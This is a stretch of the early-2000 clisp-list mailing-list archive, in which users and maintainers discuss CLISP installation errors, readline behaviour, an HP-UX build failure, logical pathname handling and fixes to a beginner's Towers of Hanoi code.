From thiagofga@ambr.com.br Mon Feb 7 07:01:13 2000 Received: from mail.valinux.com (nat-su-33.valinux.com [198.186.202.33]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA32554 for ; Mon, 7 Feb 2000 07:01:12 -0800 Received: from isp1.ambr.com.br ([200.252.238.11]) by mail.valinux.com with smtp (Exim 2.12 #6) id 12HpdG-0004vF-00 for clisp-list@lists.sourceforge.net; Mon, 7 Feb 2000 06:59:19 -0800 Received: from desktop.ambr.com.br (unverified [200.252.208.110]) by isp1.ambr.com.br (EMWAC SMTPRS 0.83) with SMTP id ; Mon, 07 Feb 2000 12:05:51 -0300 Message-Id: <3.0.5.32.20000207043749.007a0a20@post.ambr.com.br> X-Sender: thiagofga@post.ambr.com.br X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Mon, 07 Feb 2000 04:37:49 -0200 To: clisp-list@lists.sourceforge.net From: "Thiago F.G. Albuquerque" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: [clisp-list] CLISP-DOS: Error on "(compile-file "config.lsp")" Hi, I encountered the following problem when installing CLisp c:\temp\clisp>lisp.exe -M lispinit.mem i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I I I I I I I 8 8 8 8 8 8 I I I I I I I 8 8 8 ooooo 8oooo I \ `+' / I 8 8 8 8 8 \ `-+-' / 8 o 8 8 o 8 8 `-__|__-' ooooo 8oooooo ooo8ooo ooooo 8 | ------+------ Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 > (compile-file "config.lsp") *** - UNIX library error 9 (EBADF): Bad file number 1. Break> > (lisp-implementation-version) "1997-12-06 (December 1997)" > Bye. -------------------- Can anybody help me, please? I use 4DOS under Win95. Thanks. Thiago From haible@ilog.fr Mon Feb 7 07:22:37 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA01047 for ; Mon, 7 Feb 2000 07:22:36 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA18208; Mon, 7 Feb 2000 16:17:56 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA07704; Mon, 7 Feb 2000 16:20:03 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id QAA15189; Mon, 7 Feb 2000 16:19:57 +0100 (MET) Date: Mon, 7 Feb 2000 16:19:57 +0100 (MET) Message-Id: <200002071519.QAA15189@oberkampf.ilog.fr> To: "Thiago F.G. Albuquerque" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP-DOS: Error on "(compile-file "config.lsp")" In-Reply-To: <3.0.5.32.20000207043749.007a0a20@post.ambr.com.br> References: <3.0.5.32.20000207043749.007a0a20@post.ambr.com.br> Thiago F. G. Albuquerque writes: > I encountered the following problem when installing CLisp > ... > *** - UNIX library error 9 (EBADF): Bad file number > 1. Break> > > (lisp-implementation-version) > "1997-12-06 (December 1997)" > > > ... > I use 4DOS under Win95. You are using the DOS binaries of CLISP on Win32. This is suboptimal; it may cause problems with long filenames and other things. DOS /= Win32. I suggest you try the Win32 binaries, available from ftp://clisp.cons.org/pub/lisp/clisp/binaries/win32/. Bruno From thiagofga@ambr.com.br Mon Feb 7 13:24:50 2000 Received: from mail.valinux.com (nat-su-33.valinux.com [198.186.202.33]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA15019 for ; Mon, 7 Feb 2000 13:24:49 -0800 Received: from isp1.ambr.com.br ([200.252.238.11]) by mail.valinux.com with smtp (Exim 2.12 #6) id 12HvcU-00047i-00 for clisp-list@lists.sourceforge.net; Mon, 7 Feb 2000 13:22:54 -0800 Received: from desktop.ambr.com.br (unverified [200.252.134.167]) by isp1.ambr.com.br (EMWAC SMTPRS 0.83) with SMTP id ; Mon, 07 Feb 2000 18:29:28 -0300 Message-Id: <3.0.5.32.20000207110151.007bb100@post.ambr.com.br> X-Sender: thiagofga@post.ambr.com.br X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Mon, 07 Feb 2000 11:01:51 -0200 To: clisp-list@lists.sourceforge.net From: "Thiago F.G. Albuquerque" Subject: Re: [clisp-list] CLISP-DOS: Error on "(compile-file "config.lsp")" In-Reply-To: <200002071519.QAA15189@oberkampf.ilog.fr> References: <3.0.5.32.20000207043749.007a0a20@post.ambr.com.br> <3.0.5.32.20000207043749.007a0a20@post.ambr.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 16:19 07/02/00 +0100, you wrote: >Thiago F. G. Albuquerque writes: > >> I encountered the following problem when installing CLisp >> ... >> *** - UNIX library error 9 (EBADF): Bad file number >> 1. Break> >> > (lisp-implementation-version) >> "1997-12-06 (December 1997)" >> > >> ... >> I use 4DOS under Win95. > >You are using the DOS binaries of CLISP on Win32. This is suboptimal; it >may cause problems with long filenames and other things. DOS /= Win32. Yes, I know. I am using it because the DOS port has a better shell. The Win32 port doesn't support the arrow keys, nor the completion feature (TAB). Thiago From haible@ilog.fr Mon Feb 7 13:30:46 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA15376 for ; Mon, 7 Feb 2000 13:30:45 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA28211; Mon, 7 Feb 2000 22:26:04 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA04557; Mon, 7 Feb 2000 22:28:12 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id WAA18352; Mon, 7 Feb 2000 22:28:06 +0100 (MET) Date: Mon, 7 Feb 2000 22:28:06 +0100 (MET) Message-Id: <200002072128.WAA18352@oberkampf.ilog.fr> To: "Thiago F.G. Albuquerque" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP-DOS: Error on "(compile-file "config.lsp")" In-Reply-To: <3.0.5.32.20000207110151.007bb100@post.ambr.com.br> References: <3.0.5.32.20000207043749.007a0a20@post.ambr.com.br> <200002071519.QAA15189@oberkampf.ilog.fr> <3.0.5.32.20000207110151.007bb100@post.ambr.com.br> Thiago F. G. Albuquerque writes: > >You are using the DOS binaries of CLISP on Win32. This is suboptimal; it > >may cause problems with long filenames and other things. DOS /= Win32. > > Yes, I know. I am using it because the DOS port has a better shell. The > Win32 port doesn't support the arrow keys Windows 95/98 box does not support the arrow keys. Windows NT does. Ask Microsoft why... > nor the completion feature (TAB). Yes, this is missing from the native Win32 ports of clisp, indeed. Bruno From thiagofga@ambr.com.br Tue Feb 8 00:51:56 2000 Received: from mail.valinux.com (nat-su-33.valinux.com [198.186.202.33]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id AAA01924 for ; Tue, 8 Feb 2000 00:51:48 -0800 Received: from isp1.ambr.com.br ([200.252.238.11]) by mail.valinux.com with smtp (Exim 2.12 #6) id 12I6LH-0001mX-00 for clisp-list@lists.sourceforge.net; Tue, 8 Feb 2000 00:49:52 -0800 Received: from desktop.ambr.com.br (unverified [200.252.208.221]) by isp1.ambr.com.br (EMWAC SMTPRS 0.83) with SMTP id ; Tue, 08 Feb 2000 05:51:26 -0300 Message-Id: <3.0.5.32.20000207222242.0079c460@post.ambr.com.br> X-Sender: thiagofga@post.ambr.com.br (Unverified) X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Mon, 07 Feb 2000 22:22:42 -0200 To: clisp-list@lists.sourceforge.net From: "Thiago F.G. Albuquerque" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: [clisp-list] Typing "()" at CLisp prompt Hi, I've noticed that when I type "()" at the CLisp prompt, the cursor moves to the first bracket. However, when I type another character, say 'a', it is printed after both brackets, and the cursor comes back to its normal behaviour. Like this: >() ; the cursor is now under '(' >()a_ ; I typed 'a' Is this a bug or a feature? Can I turn it off? __________________________ Thiago From sds@gnu.org Tue Feb 8 08:19:27 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA14781 for ; Tue, 8 Feb 2000 08:19:26 -0800 Received: from SAM.ksp.com (SAM [38.156.71.103]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1RQ3FXRN; Tue, 8 Feb 2000 11:17:24 -0500 To: "Thiago F.G. Albuquerque" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Typing "()" at CLisp prompt References: <3.0.5.32.20000207222242.0079c460@post.ambr.com.br> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Thiago F.G. Albuquerque's message of "Tue Feb 08 03:57:33 EST 2000" Date: 08 Feb 2000 11:17:20 -0500 Message-ID: Lines: 32 X-Mailer: Gnus v5.7/Emacs 20.4 >>>> In message <3.0.5.32.20000207222242.0079c460@post.ambr.com.br> >>>> On the subject of "[clisp-list] Typing "()" at CLisp prompt" >>>> Sent on Tue Feb 08 03:57:33 EST 2000 >>>> Honorable Thiago F.G. Albuquerque writes: >> >> I've noticed that when I type "()" at the CLisp prompt, the cursor >> moves to the first bracket. However, when I type another character, >> say 'a', it is printed after both brackets, and the cursor comes >> back to its normal behaviour. Like this: >> >> >() ; the cursor is now under '(' >> >()a_ ; I typed 'a' >> >> Is this a bug or a feature? feature, very nice and useful. CLISP uses GNU readline, which allows you to edit the command line, retrieve old input, match parentheses and do symbol completion. Please read the clreadline file in the doc directory. >> Can I turn it off? configure --with-noreadline next time please specify your version and platform. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. (lisp programmers do it better) From thiagofga@ambr.com.br Tue Feb 8 19:28:34 2000 Received: from mail.valinux.com (nat-su-33.valinux.com [198.186.202.33]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id TAA09425 for ; Tue, 8 Feb 2000 19:28:33 -0800 Received: from isp1.ambr.com.br ([200.252.238.11]) by mail.valinux.com with smtp (Exim 2.12 #6) id 12INlw-00047A-00 for clisp-list@lists.sourceforge.net; Tue, 8 Feb 2000 19:26:33 -0800 Received: from desktop.ambr.com.br (unverified [200.252.15.36]) by isp1.ambr.com.br (EMWAC SMTPRS 0.83) with SMTP id ; Wed, 09 Feb 2000 00:22:16 -0300 Message-Id: <3.0.5.32.20000208165322.0079e6a0@post.ambr.com.br> X-Sender: thiagofga@post.ambr.com.br (Unverified) X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Tue, 08 Feb 2000 16:53:22 -0200 To: sds@gnu.org, clisp-list@lists.sourceforge.net From: "Thiago F.G. Albuquerque" Subject: Re: [clisp-list] Typing "()" at CLisp prompt In-Reply-To: References: <3.0.5.32.20000207222242.0079c460@post.ambr.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 11:17 08/02/00 -0500, you wrote: >>>>> In message <3.0.5.32.20000207222242.0079c460@post.ambr.com.br> >>>>> On the subject of "[clisp-list] Typing "()" at CLisp prompt" >>>>> Sent on Tue Feb 08 03:57:33 EST 2000 >>>>> Honorable Thiago F.G. Albuquerque writes: > >> > >> I've noticed that when I type "()" at the CLisp prompt, the cursor > >> moves to the first bracket. However, when I type another character, > >> say 'a', it is printed after both brackets, and the cursor comes > >> back to its normal behaviour. Like this: > >> > >> >() ; the cursor is now under '(' > >> >()a_ ; I typed 'a' > >> > >> Is this a bug or a feature? > >feature, very nice and useful. Please forgive my ignorance (I'm new to LISP), but what is it good for? > >> Can I turn it off? > >configure --with-noreadline No, I like the rest of the readline features -- I want to disable just this one. Is it possible? I use CLISP 1997-12-06 on Linux. Thanks, Thiago From russell@coulee.tdb.com Tue Feb 8 21:16:01 2000 Received: from coulee.tdb.com (root@coulee.tdb.com [216.99.215.11]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id VAA11451 for ; Tue, 8 Feb 2000 21:16:00 -0800 Received: by coulee.tdb.com via sendmail from stdin id (Debian Smail3.2.0.102) for clisp-list@lists.sourceforge.net; Tue, 8 Feb 2000 21:13:32 -0800 (PST) To: "Thiago F.G. Albuquerque" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Typing "()" at CLisp prompt References: <3.0.5.32.20000207222242.0079c460@post.ambr.com.br> <3.0.5.32.20000208165322.0079e6a0@post.ambr.com.br> From: Russell Senior Date: 08 Feb 2000 21:13:32 -0800 In-Reply-To: "Thiago F.G. Albuquerque"'s message of "Tue, 08 Feb 2000 16:53:22 -0200" Message-ID: <86bt5r0xhf.fsf@coulee.tdb.com> Lines: 15 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Thiago" == Thiago F G Albuquerque writes: sds> feature, very nice and useful. Thiago> Please forgive my ignorance (I'm new to LISP), but what is it Thiago> good for? It helps you see where the balancing paren is, and thus helps you to type the correct number of them. -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From friedman@nortelnetworks.com Fri Feb 11 07:14:36 2000 Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA10991 for ; Fri, 11 Feb 2000 07:14:35 -0800 Received: from zmers013 by smtprch1.nortel.com; Fri, 11 Feb 2000 09:12:10 -0600 Received: from nmerhbba (actually nmerhbba.ca.nortel.com) by zmers013; Fri, 11 Feb 2000 10:11:37 -0500 Received: by nmerhbba (1.38.193.4/16.2 BNR V4.2 P1) id AA07539; Fri, 11 Feb 2000 10:11:23 -0500 Date: Fri, 11 Feb 2000 10:11:23 -0500 From: "Barry Friedman" To: clisp-list@lists.sourceforge.net Message-Id: <20000211101123.A7224@nortel.ca> Reply-To: "Barry Friedman" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i Subject: [clisp-list] [ Bug #101842 ] Fails to compile on HPUX 10.20 9000/785 File: clisp-1999-07-22 Info from SUMMARY file: %define name clisp %define version 1999.05.15 Attempted to compile with gcc 2.95 and rolled back to 2.7.2. Results were: installing es.gmo as ../../locale/es/LC_MESSAGES/clisp.mo make[1]: Leaving directory `/archive/packages/clisp-1999-07-22/src/gettext/po' gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -O2 -fno-strength-reduce -DUNICODE -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o foreign.o unixaux.o arihppa.o gmalloc.o modules.o libsigsegv.a libintl.a libreadline.a libavcall.a libcallback.a -ltermcap -o lisp.run sync ./lisp.run -m 750KW -B . -N locale -Efile ISO-8859-1 -norc -x "(load "init.lsp") (sys::%saveinitmem) (exit)" /bin/sh: 5161 Bus error(coredump) make: *** [interpreted.mem] Error 138 -- Barry Friedman Emax Computer Systems Inc., 440 Laurier Ave. W., Ottawa, Ont. Canada K1R 7X6 ESN: 395-4270 NET: friedman@nortel.ca Phone: (613) 782-2389 Fax: 782-2228 From sds@gnu.org Fri Feb 11 07:49:30 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA12038 for ; Fri, 11 Feb 2000 07:49:29 -0800 Received: from SAM.ksp.com (SAM [38.156.71.103]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1RQ3FZDY; Fri, 11 Feb 2000 10:47:14 -0500 To: clisp-list@lists.sourceforge.net Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 11 Feb 2000 10:47:03 -0500 In-Reply-To: Barry Friedman's message of "Fri Feb 11 10:12:46 EST 2000" Message-ID: Lines: 12 X-Mailer: Gnus v5.7/Emacs 20.4 Subject: [clisp-list] clisp survey please visit the clisp survey: https://sourceforge.net/survey/survey.php?group_id=1355&survey_id=10073 also, you can make suggestions on this list wrt questions you want to be asked there. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. I'd give my right arm to be ambidextrous. From haible@ilog.fr Fri Feb 11 08:09:49 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA12612 for ; Fri, 11 Feb 2000 08:09:48 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA11510 for ; Fri, 11 Feb 2000 17:04:54 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA22345; Fri, 11 Feb 2000 17:07:04 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id RAA27752; Fri, 11 Feb 2000 17:07:00 +0100 (MET) Date: Fri, 11 Feb 2000 17:07:00 +0100 (MET) Message-Id: <200002111607.RAA27752@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp survey In-Reply-To: References: Sam writes: > please visit the clisp survey: > > https://sourceforge.net/survey/survey.php?group_id=1355&survey_id=10073 > > also, you can make suggestions on this list wrt questions you want to be > asked there. But note that you need to log in as a sourceforge user _before_ you start answering the survey. Bruno From sds@gnu.org Tue Feb 15 11:09:17 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA01673 for ; Tue, 15 Feb 2000 11:09:16 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1Z5QJVF6; Tue, 15 Feb 2000 14:06:09 -0500 To: clisp-list@lists.sourceforge.net Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 15 Feb 2000 14:05:59 -0500 Message-ID: Lines: 30 Subject: [clisp-list] clisp & logical pathnames revisited [2]> (setf (logical-pathname-translations "clocc") '(("**;*" "/usr/local/src/clocc/**/*"))) ((#S(LOGICAL-PATHNAME :HOST "CLOCC" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSION NIL ) "/usr/local/src/clocc/**/*" )) [3]> (setf (logical-pathname-translations "cllib") '(("**;*" "clocc:src;cllib;**;*"))) ((#S(LOGICAL-PATHNAME :HOST "CLLIB" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSION NIL ) "clocc:src;cllib;**;*" )) [4]> (translate-logical-pathname "cllib:base") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY) "base" NIL NIL) do not fit into #P"clocc:src;cllib;**;*" 1. Break [5]> what's wrong? (works with cmucl) -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Whether pronounced "leenooks" or "line-uks", it's better than Windows. From haible@ilog.fr Tue Feb 15 11:32:04 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA02159 for ; Tue, 15 Feb 2000 11:32:03 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA19815; Tue, 15 Feb 2000 20:26:08 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA27960; Tue, 15 Feb 2000 20:28:21 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id UAA18410; Tue, 15 Feb 2000 20:28:18 +0100 (MET) Date: Tue, 15 Feb 2000 20:28:18 +0100 (MET) Message-Id: <200002151928.UAA18410@oberkampf.ilog.fr> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp & logical pathnames revisited In-Reply-To: References: Sam writes: > [3]> (setf (logical-pathname-translations "cllib") > '(("**;*" "clocc:src;cllib;**;*"))) > ((#S(LOGICAL-PATHNAME :HOST "CLLIB" :DEVICE NIL > :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL > :VERSION NIL > ) > "clocc:src;cllib;**;*" > )) > [4]> (translate-logical-pathname "cllib:base") > > *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY) "base" NIL NIL) do not fit into #P"clocc:src;cllib;**;*" > 1. Break [5]> > > what's wrong? (type-of '#P"clocc:src;cllib;**;*") ==> PATHNAME not LOGICAL-PATHNAME The pathname you gave was a simple string. With clisp, when you want a logical pathname, you have to say it explicitly: (setf (logical-pathname-translations "cllib") `(("**;*" ,(logical-pathname "clocc:src;cllib;**;*")))) ================ Bruno From tjimenez3@home.com Mon Feb 28 14:58:31 2000 Received: from mail.rdc1.ct.home.com (imail@ha1.rdc1.ct.home.com [24.2.0.66]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA20109 for ; Mon, 28 Feb 2000 14:58:31 -0800 Received: from home.com ([24.14.205.56]) by mail.rdc1.ct.home.com (InterMail v4.01.01.07 201-229-111-110) with ESMTP id <20000228225456.LKJD21982.mail.rdc1.ct.home.com@home.com> for ; Mon, 28 Feb 2000 14:54:56 -0800 Message-ID: <38BAFDE0.936D3951@home.com> Date: Mon, 28 Feb 2000 17:59:44 -0500 From: Tomas Jimenez X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] CLISP error under Windows/98 I am new to LISP and am trying to implement the Towers of Hanoi using CLISP under Windows/98 using the Bruno Haible, Sam Steingold 1999 version. I am getting execution errors under Windows ("This program has performed an illegal operation and will be shut down") when I enter "lisp -M lispinit.mem" and perhaps you have some ideas. Following is a crude version, but I continue to get invalid DEFUN ----------------------------------------------------------------------------------------- (defun move (disk start finish temp) (cond ((gt disk 0 ) (move ((- disk 1) start temp finish)) ; (print ("move disk" disk "from tower" start "to tower" finish)) (print (disk)) (move (( - disk 1) temp finish start))))) (move (2,1,3,2)) Regards, Tomas Jimenez From sds@gnu.org Mon Feb 28 15:53:28 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id PAA21885 for ; Mon, 28 Feb 2000 15:53:27 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id FK0ACXN3; Mon, 28 Feb 2000 18:49:23 -0500 To: Tomas Jimenez Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP error under Windows/98 References: <38BAFDE0.936D3951@home.com> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Tomas Jimenez's message of "Mon Feb 28 18:09:52 EST 2000" Date: 28 Feb 2000 18:49:19 -0500 Message-ID: Lines: 51 X-Mailer: Gnus v5.7/Emacs 20.4 >>>> In message <38BAFDE0.936D3951@home.com> >>>> On the subject of "[clisp-list] CLISP error under Windows/98" >>>> Sent on Mon Feb 28 18:09:52 EST 2000 >>>> Honorable Tomas Jimenez writes: >> I am new to LISP and am trying to implement the Towers of Hanoi >> using CLISP under Windows/98 using the Bruno Haible, Sam Steingold >> 1999 version. I am getting execution errors under Windows ("This >> program has performed an illegal operation and will be shut down") >> when I enter "lisp -M lispinit.mem" and perhaps you have some ideas. windows98 is not a good OS. winNT is better, Linux is better yet. >> Following is a crude version, but I continue to get invalid DEFUN what's the precise error message? >> (defun move (disk start finish temp) >> (cond >> ((gt disk 0 ) >> (move ((- disk 1) start temp finish)) (move (- disk 1) start temp finish) >> ; (print ("move disk" disk "from tower" start "to tower" finish)) ; (print "move disk" disk "from tower" start "to tower" finish) >> (print (disk)) (print disk) >> (move (( - disk 1) temp finish start))))) (move ( - disk 1) temp finish start)))) >> (move (2,1,3,2)) (move 2 1 3 2) why don't you grab a good lisp textbook, like http://www.eecs.harvard.edu/onlisp/acl/ http://www.eecs.harvard.edu/onlisp/onlisp/ -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. I may be getting older, but I refuse to grow up! From marcoxa@parades.rm.cnr.it Wed Mar 1 08:05:55 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA07836 for ; Wed, 1 Mar 2000 08:05:51 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id RAA16911; Wed, 1 Mar 2000 17:00:38 +0100 (MET) Date: Wed, 1 Mar 2000 17:00:38 +0100 (MET) Message-Id: <200003011600.RAA16911@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Reply-to: marcoxa@parades.rm.cnr.it Subject: [clisp-list] Test. Disregard. Sorry qqqq -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From marcoxa@parades.rm.cnr.it Wed Mar 1 08:39:14 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA08648 for ; Wed, 1 Mar 2000 08:38:47 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id RAA17040; Wed, 1 Mar 2000 17:33:38 +0100 (MET) Date: Wed, 1 Mar 2000 17:33:38 +0100 (MET) Message-Id: <200003011633.RAA17040@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Reply-to: marcoxa@parades.rm.cnr.it Subject: [clisp-list] PARSE-NAMESTRING and LOGICAL-PATHNAMEs Hi I am working on the following little function in MK:DEFSYSTEM 4.0 (defun namestring-probably-logical-p (namestring) (and (stringp namestring) (typep (parse-namestring namestring) 'logical-pathname))) Unfortunately, in CLisp [1]> (setf (logical-pathname-translations "XXX") `(("*.*" "/user/zut/"))) ((#S(LOGICAL-PATHNAME :HOST "XXX" :DEVICE NIL :DIRECTORY (:ABSOLUTE) :NAME :WILD :TYPE :WILD :VERSION NIL ) "/user/zut/" )) [2]> (translate-logical-pathname "XXX:zot.c") #P"/user/zut/zot.c" [3]> (parse-namestring "XXX:zot.c") #P"XXX:zot.c" ; 9 [4]> (type-of *) PATHNAME [5]> (describe **) #P"XXX:zot.c" is a pathname, with the following components: DIRECTORY = NAME = XXX:zot TYPE = .c [6] ;;; define the function NAMESTRING-PROBABLY-LOGICAL-P. NAMESTRING-PROBABLY-LOGICAL-P [7]> (namestring-probably-logical-p "XXX:zot.c") NIL [8]> (translate-logical-pathname (parse-namestring "XXX:zot.c")) #P"XXX:zot.c" [9]> (type-of *) PATHNAME It may be that I have not updated my version later, but this is incorrect w.r.t. the Hyperspec. I.e. PARSE-NAMESTRING should recognize a logical pathname and parse it accordingly. Instead it seems to return a PATHNAME with an unparsed name. Note that CMUCL, Harlequin and ACL go the extra step to return something for which (typep * 'logical-pathname) is T. Hence, my function may be wrong, but also CLisp's behavior is non-conformant in this case. Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From sds@gnu.org Wed Mar 1 10:43:40 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA12439 for ; Wed, 1 Mar 2000 10:43:40 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id FK0ACYNF; Wed, 1 Mar 2000 13:39:27 -0500 To: 